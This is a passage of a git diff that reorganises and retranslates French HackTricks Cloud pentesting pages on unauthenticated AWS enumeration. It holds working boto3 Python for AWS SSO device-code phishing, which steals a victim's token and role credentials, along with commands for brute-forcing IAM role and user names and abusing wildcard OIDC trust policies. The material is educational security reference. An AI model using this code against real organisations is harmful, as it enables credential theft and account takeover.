b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md index e3f4ca5c0..079dea2c1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -1,13 +1,13 @@ -# AWS - IAM & STS Enum non authentifié +# AWS - IAM & STS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Énumérer les rôles et les noms d'utilisateur dans un compte -### ~~Brute-Force d'Assumer un Rôle~~ +### ~~Assume Role Brute-Force~~ > [!CAUTION] -> **Cette technique ne fonctionne plus** car que le rôle existe ou non, vous obtenez toujours cette erreur : +> **Cette technique ne fonctionne plus** car, que le rôle existe ou non, vous obtenez toujours cette erreur : > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > @@ -15,29 +15,29 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Tenter d'**assumer un rôle sans les autorisations nécessaires** déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS pourrait renvoyer : +Tenter de **assumer un rôle sans les permissions nécessaires** déclenche un message d'erreur AWS. Par exemple, si non autorisé, AWS peut renvoyer : ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -Ce message confirme l'existence du rôle mais indique que sa politique d'assumption ne permet pas votre assumption. En revanche, essayer de **prendre un rôle inexistant entraîne une erreur différente** : +Ce message confirme l'existence du rôle mais indique que sa assume role policy n'autorise pas votre prise de rôle. En revanche, tenter de **assumer un rôle non existant entraîne une erreur différente** : ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Il est intéressant de noter que cette méthode de **distinction entre les rôles existants et non existants** est applicable même entre différents comptes AWS. Avec un ID de compte AWS valide et une liste de mots ciblée, on peut énumérer les rôles présents dans le compte sans faire face à des limitations inhérentes. +Fait intéressant, cette méthode de **distinction entre roles existants et non-existants** s'applique même entre différents comptes AWS. Avec un AWS account ID valide et une wordlist ciblée, il est possible d'énumérer les roles présents dans le compte sans rencontrer de limitations inhérentes. -Vous pouvez utiliser ce [script pour énumérer les principaux potentiels](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) en abusant de ce problème. +Vous pouvez utiliser ce [script pour énumérer les principals potentiels](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) en abusant de ce problème. -### Politiques de confiance : Brute-Force des rôles et utilisateurs inter-comptes +### Trust Policies : Brute-Force Cross Account roles and users -Configurer ou mettre à jour la **politique de confiance d'un rôle IAM implique de définir quels ressources ou services AWS sont autorisés à assumer ce rôle** et à obtenir des identifiants temporaires. Si la ressource spécifiée dans la politique **existe**, la politique de confiance est enregistrée **avec succès**. Cependant, si la ressource **n'existe pas**, une **erreur est générée**, indiquant qu'un principal invalide a été fourni. +La configuration ou la mise à jour d'une **IAM role's trust policy implique de définir quelles ressources ou services AWS sont autorisés à assumer ce role** et à obtenir des credentials temporaires. Si la ressource spécifiée dans la policy **existe**, la trust policy est enregistrée **avec succès**. En revanche, si la ressource **n'existe pas**, une **erreur est générée**, indiquant qu'un principal invalide a été fourni. > [!WARNING] -> Notez que dans cette ressource, vous pourriez spécifier un rôle ou un utilisateur inter-compte : +> Notez que dans cette resource vous pouvez spécifier un cross account role ou user : > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -Voici un exemple de politique : +Voici un exemple de policy: ```json { "Version": "2012-10-17", @@ -54,7 +54,7 @@ Voici un exemple de politique : ``` #### GUI -C'est l'**erreur** que vous trouverez si vous utilisez un **rôle qui n'existe pas**. Si le rôle **existe**, la politique sera **enregistrée** sans aucune erreur. (L'erreur concerne la mise à jour, mais cela fonctionne également lors de la création) +Ceci est l'**erreur** que vous trouverez si vous utilisez un **role qui n'existe pas**. Si le role **existe**, la policy sera **enregistrée** sans aucune erreur. (L'erreur concerne une mise à jour, mais cela fonctionne aussi lors de la création) ![](<../../../images/image (153).png>) @@ -95,15 +95,15 @@ Vous pouvez automatiser ce processus avec [https://github.com/carlospolop/aws_to - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Notre utilisation de [Pacu](https://github.com/RhinoSecurityLabs/pacu) : +Ou en utilisant [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Le rôle `admin` utilisé dans l'exemple est un **rôle dans votre compte à être usurpé** par pacu pour créer les politiques dont il a besoin pour l'énumération +- The `admin` role used in the example is a **rôle de votre compte pouvant être usurpé** par pacu pour créer les policies dont il a besoin pour l'énumération ### Privesc -Dans le cas où le rôle était mal configuré et permet à quiconque de l'assumer : +Dans le cas où le rôle est mal configuré et permet à n'importe qui de l'assumer : ```json { "Version": "2012-10-17", @@ -118,12 +118,12 @@ Dans le cas où le rôle était mal configuré et permet à quiconque de l'assum ] } ``` -L'attaquant pourrait simplement le supposer. +L'attaquant pourrait simplement l'assumer. -## Fédération OIDC de tiers +## Fédération OIDC par un tiers -Imaginez que vous parvenez à lire un **workflow Github Actions** qui accède à un **rôle** à l'intérieur d'**AWS**.\ -Cette confiance pourrait donner accès à un rôle avec la **politique de confiance** suivante : +Imaginez que vous parveniez à lire un **Github Actions workflow** qui accède à un **role** dans **AWS**.\ +Cette relation de confiance pourrait donner accès à un **role** avec la **trust policy** suivante : ```json { "Version": "2012-10-17", @@ -143,20 +143,20 @@ Cette confiance pourrait donner accès à un rôle avec la **politique de confia ] } ``` -Cette politique de confiance peut être correcte, mais le **manque de plus de conditions** devrait vous inciter à vous méfier.\ -C'est parce que le rôle précédent peut être assumé par **QUICONQUE de Github Actions** ! Vous devriez spécifier dans les conditions d'autres éléments tels que le nom de l'organisation, le nom du dépôt, l'environnement, la branche... +Cette stratégie de confiance peut être correcte, mais le **manque de conditions supplémentaires** devrait vous rendre méfiant.\ +Ceci est dû au fait que le rôle précédent peut être assumé par **N'IMPORTE QUI sur Github Actions** ! Vous devriez préciser dans les conditions aussi d'autres éléments tels que le nom de l'organisation, le nom du repo, l'env, la branche... -Une autre mauvaise configuration potentielle est d'**ajouter une condition** comme suit : +Une autre mauvaise configuration possible est d'**ajouter une condition** comme suit : ```json "StringLike": { "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Notez que **wildcard** (\*) avant le **deux-points** (:). Vous pouvez créer une org telle que **org_name1** et **assumer le rôle** depuis une action Github. +Notez que le **wildcard** (\*) avant les **deux-points** (:). Vous pouvez créer une org telle que **org_name1** et **assume the role** depuis une Github Action. ## Références - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md deleted file mode 100644 index a684cfb17..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ /dev/null @@ -1,123 +0,0 @@ -# AWS - Identity Center & SSO Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -## Phishing par code de dispositif AWS - -Initialement proposé dans [**cet article de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), il est possible d'envoyer un **lien** à un utilisateur utilisant AWS SSO qui, si le **utilisateur accepte**, permettra à l'attaquant d'obtenir un **jeton pour usurper l'identité de l'utilisateur** et accéder à tous les rôles auxquels l'utilisateur peut accéder dans le **Identity Center**. - -Pour réaliser cette attaque, les prérequis sont : - -- La victime doit utiliser le **Identity Center** -- L'attaquant doit connaître le **sous-domaine** utilisé par la victime `.awsapps.com/start` - -Avec ces informations, l'**attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, accordera à l'**attaquant l'accès au compte** utilisateur AWS. - -### Attaque - -1. **Trouver le sous-domaine** - -La première étape de l'attaquant est de découvrir le sous-domaine que l'entreprise victime utilise dans son Identity Center. Cela peut être fait via **OSINT** ou **devinette + BF** car la plupart des entreprises utiliseront leur nom ou une variation de leur nom ici. - -Avec cette info, il est possible d'obtenir la région où le Identity Center a été configuré : -```bash -curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' -"region":"us-east-1 -``` -2. **Générez le lien pour la victime & Envoyez-le** - -Exécutez le code suivant pour générer un lien de connexion AWS SSO afin que la victime puisse s'authentifier.\ -Pour la démonstration, exécutez ce code dans une console python et ne la quittez pas car vous aurez besoin de certains objets pour obtenir le token : -```python -import boto3 - -REGION = 'us-east-1' # CHANGE THIS -AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS - -sso_oidc = boto3.client('sso-oidc', region_name=REGION) -client = sso_oidc.register_client( -clientName = 'attacker', -clientType = 'public' -) - -client_id = client.get('clientId') -client_secret = client.get('clientSecret') -authz = sso_oidc.start_device_authorization( -clientId=client_id, -clientSecret=client_secret, -startUrl=AWS_SSO_START_URL -) - -url = authz.get('verificationUriComplete') -deviceCode = authz.get('deviceCode') -print("Give this URL to the victim: " + url) -``` -Envoyez le lien généré à la victime en utilisant vos incroyables compétences en ingénierie sociale ! - -3. **Attendez que la victime l'accepte** - -Si la victime était **déjà connectée à AWS**, elle n'aura qu'à accepter l'octroi des permissions, si elle ne l'était pas, elle devra **se connecter puis accepter l'octroi des permissions**.\ -Voici à quoi ressemble l'invite de nos jours : - -
- -4. **Obtenez le jeton d'accès SSO** - -Si la victime a accepté l'invite, exécutez ce code pour **générer un jeton SSO en usurpant l'utilisateur** : -```python -token_response = sso_oidc.create_token( -clientId=client_id, -clientSecret=client_secret, -grantType="urn:ietf:params:oauth:grant-type:device_code", -deviceCode=deviceCode -) -sso_token = token_response.get('accessToken') -``` -Le jeton d'accès SSO est **valide pendant 8h**. - -5. **Usurper l'identité de l'utilisateur** -```python -sso_client = boto3.client('sso', region_name=REGION) - -# List accounts where the user has access -aws_accounts_response = sso_client.list_accounts( -accessToken=sso_token, -maxResults=100 -) -aws_accounts_response.get('accountList', []) - -# Get roles inside an account -roles_response = sso_client.list_account_roles( -accessToken=sso_token, -accountId= -) -roles_response.get('roleList', []) - -# Get credentials over a role - -sts_creds = sso_client.get_role_credentials( -accessToken=sso_token, -roleName=, -accountId= -) -sts_creds.get('roleCredentials') -``` -### Phishing le MFA impénétrable - -Il est amusant de savoir que l'attaque précédente **fonctionne même si un "MFA impénétrable" (webAuth) est utilisé**. Cela est dû au fait que le **flux de travail précédent ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit remplacer le domaine de connexion, dans le cas où le flux de code de dispositif est préparé, un **code est connu par un dispositif** et l'utilisateur peut se connecter même sur une machine différente. Si l'invite est acceptée, le dispositif, simplement en **connaissant le code initial**, sera capable de **récupérer les identifiants** pour l'utilisateur. - -Pour plus d'infos sur ce [**vérifiez ce post**](https://mjg59.dreamwidth.org/62175.html). - -### Outils Automatiques - -- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) -- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) - -## Références - -- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) -- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) -- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) -- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md new file mode 100644 index 000000000..eedd7f622 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -0,0 +1,123 @@ +# AWS - Identity Center & SSO Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Device Code Phishing + +Initialement proposé dans [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), il est possible d'envoyer un **lien** à un utilisateur utilisant AWS SSO qui, si **l'utilisateur accepte**, permettra à l'attaquant d'obtenir un **token to impersonate the user** et d'accéder à tous les **roles** auxquels l'utilisateur a accès dans l'**Identity Center**. + +In order to perform this attack the requisites are: + +- La victime doit utiliser **Identity Center** +- L'attaquant doit connaître le **sous-domaine** utilisé par la victime `.awsapps.com/start` + +Rien qu'avec ces informations, **l'attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, donnera **à l'attaquant l'accès au compte utilisateur AWS**. + +### Attaque + +1. **Trouver le sous-domaine** + +La première étape pour l'attaquant est de découvrir le sous-domaine que l'entreprise victime utilise dans son Identity Center. Cela peut se faire via **OSINT** ou **guessing + BF**, car la plupart des entreprises utilisent leur nom ou une variation de celui-ci. + +Avec ces informations, il est possible d'obtenir la région dans laquelle Identity Center a été configuré : +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` +2. **Générez le lien pour la victime & envoyez-le** + +Exécutez le code suivant pour générer un lien de connexion AWS SSO afin que la victime puisse s'authentifier.\ +Pour la démo, exécutez ce code dans une console python et ne la quittez pas car plus tard vous aurez besoin de certains objets pour obtenir le token: +```python +import boto3 + +REGION = 'us-east-1' # CHANGE THIS +AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS + +sso_oidc = boto3.client('sso-oidc', region_name=REGION) +client = sso_oidc.register_client( +clientName = 'attacker', +clientType = 'public' +) + +client_id = client.get('clientId') +client_secret = client.get('clientSecret') +authz = sso_oidc.start_device_authorization( +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL +) + +url = authz.get('verificationUriComplete') +deviceCode = authz.get('deviceCode') +print("Give this URL to the victim: " + url) +``` +Envoyez le lien généré à la victime en utilisant vos formidables compétences en ingénierie sociale ! + +3. **Attendez que la victime l'accepte** + +Si la victime était **déjà connectée à AWS**, elle devra simplement accepter d'accorder les permissions ; si ce n'était pas le cas, elle devra **se connecter puis accepter d'accorder les permissions**.\ +C'est à quoi ressemble l'invite de nos jours : + +
+ +4. **Obtenir un access token SSO** + +Si la victime a accepté l'invite, exécutez ce code pour **générer un SSO token en vous faisant passer pour l'utilisateur** : +```python +token_response = sso_oidc.create_token( +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode +) +sso_token = token_response.get('accessToken') +``` +Le token d'accès SSO est **valide pendant 8h**. + +5. **Se faire passer pour l'utilisateur** +```python +sso_client = boto3.client('sso', region_name=REGION) + +# List accounts where the user has access +aws_accounts_response = sso_client.list_accounts( +accessToken=sso_token, +maxResults=100 +) +aws_accounts_response.get('accountList', []) + +# Get roles inside an account +roles_response = sso_client.list_account_roles( +accessToken=sso_token, +accountId= +) +roles_response.get('roleList', []) + +# Get credentials over a role + +sts_creds = sso_client.get_role_credentials( +accessToken=sso_token, +roleName=, +accountId= +) +sts_creds.get('roleCredentials') +``` +### Phishing de l'unphisable MFA + +C'est intéressant de savoir que l'attaque précédente **fonctionne même si un "unphisable MFA" (webAuth) est utilisé**. Cela s'explique parce que le précédent **workflow ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit usurper le domaine de connexion, dans ce cas le device code workflow est préparé de sorte qu'un **code est connu par un device** et l'utilisateur peut se connecter même depuis une machine différente. Si l'invite est acceptée, le device, simplement en **connaissant le code initial**, pourra **récupérer les credentials** de l'utilisateur. + +Pour plus d'infos à ce sujet, [**consultez cet article**](https://mjg59.dreamwidth.org/62175.html). + +### Outils automatiques + +- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) +- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) + +## Références + +- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) +- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) +- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) +- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md deleted file mode 100644 index dc8e203da..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ /dev/null @@ -1,11 +0,0 @@ -# AWS - IoT Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -mqtt://{random_id}.iot.{region}.amazonaws.com:8883 -https://{random_id}.iot.{region}.amazonaws.com:8443 -https://{random_id}.iot.{region}.amazonaws.com:443 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md new file mode 100644 index 000000000..2cef036f0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -0,0 +1,11 @@ +# AWS - IoT Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +mqtt://{random_id}.iot.{region}.amazonaws.com:8883 +https://{random_id}.iot.{region}.amazonaws.com:8443 +https://{random_id}.iot.{region}.amazonaws.com:443 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md deleted file mode 100644 index 39ae70e64..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Kinesis Video Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -https://{random_id}.kinesisvideo.{region}.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md new file mode 100644 index 000000000..7598de772 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Kinesis Video Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +https://{random_id}.kinesisvideo.{region}.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index ed8ad8388..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Accès non authentifié à Lambda - -{{#include ../../../banners/hacktricks-training.md}} - -## URL de fonction publique - -Il est possible de lier un **Lambda** à une **URL de fonction publique** à laquelle tout le monde peut accéder. Cela pourrait contenir des vulnérabilités web. - -### Modèle d'URL publique -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Obtenir l'ID de compte à partir de l'URL Lambda publique - -Tout comme avec les buckets S3, Data Exchange et les API gateways, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL lambda publique. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\ -Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes). - -Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..d278f1444 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Accès non authentifié + +{{#include ../../../../banners/hacktricks-training.md}} + +## Public Function URL + +Il est possible d'associer une **Lambda** à une **public function URL** accessible par n'importe qui. Elle pourrait contenir des vulnérabilités web. + +### Modèle d'URL publique +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Obtenir l'ID de compte depuis une URL publique Lambda + +Tout comme pour les S3 buckets, Data Exchange et API gateways, il est possible de retrouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** depuis une URL publique Lambda. Cela se fait en retrouvant l'ID caractère par caractère en abusant des wildcards dans la section **`aws:ResourceAccount`** de la policy.\ +Cette technique permet aussi d'obtenir les **valeurs des tags** si vous connaissez la clé du tag (il existe quelques tags intéressants par défaut). + +Vous pouvez trouver plus d'informations dans la [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 63% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index 8280b9205..368dffce9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,11 +1,11 @@ # AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -### Modèle d'URL public +### Modèle d'URL publique ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 132f8ac13..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Port Public - -### **RabbitMQ** - -Dans le cas de **RabbitMQ**, par **défaut, l'accès public** et ssl sont activés. Mais vous avez besoin de **credentials** pour accéder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). De plus, il est possible d'**accéder à la console de gestion web** si vous connaissez les credentials dans `https://b-.mq.us-east-1.amazonaws.com/` - -### ActiveMQ - -Dans le cas de **ActiveMQ**, par défaut, l'accès public et ssl sont activés, mais vous avez besoin de credentials pour accéder. - -### Modèle d'URL publique -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..a2a2f77a0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Port public + +### **RabbitMQ** + +Dans le cas de **RabbitMQ**, **l'accès public par défaut** et ssl sont activés. Mais vous avez besoin de **credentials** pour y accéder (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). De plus, il est possible d'**accéder à la console de gestion web** si vous connaissez les credentials dans `https://b-.mq.us-east-1.amazonaws.com/` + +### ActiveMQ + +Dans le cas de **ActiveMQ**, par défaut l'accès public et ssl sont activés, mais vous avez besoin de credentials pour y accéder. + +### Modèle d'URL public +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index e0859f8d4..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -### Port public - -Il est possible de **rendre le broker Kafka public**, mais vous aurez besoin de **identifiants**, de permissions IAM ou d'un certificat valide (selon la méthode d'authentification configurée). - -Il est également **possible de désactiver l'authentification**, mais dans ce cas, **il n'est pas possible d'exposer directement** le port à Internet. - -### Modèle d'URL publique -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..cb4dcf803 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Port public + +Il est possible d'**exposer le broker Kafka au public**, mais vous aurez besoin de **credentials**, IAM permissions ou d'un certificat valide (selon la méthode d'authentification configurée). + +Il est également possible de **désactiver l'authentification**, mais dans ce cas **il n'est pas possible d'exposer directement** le port sur Internet. + +### Modèle d'URL public +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index cbacd7560..5285bc8c2 100644 --- 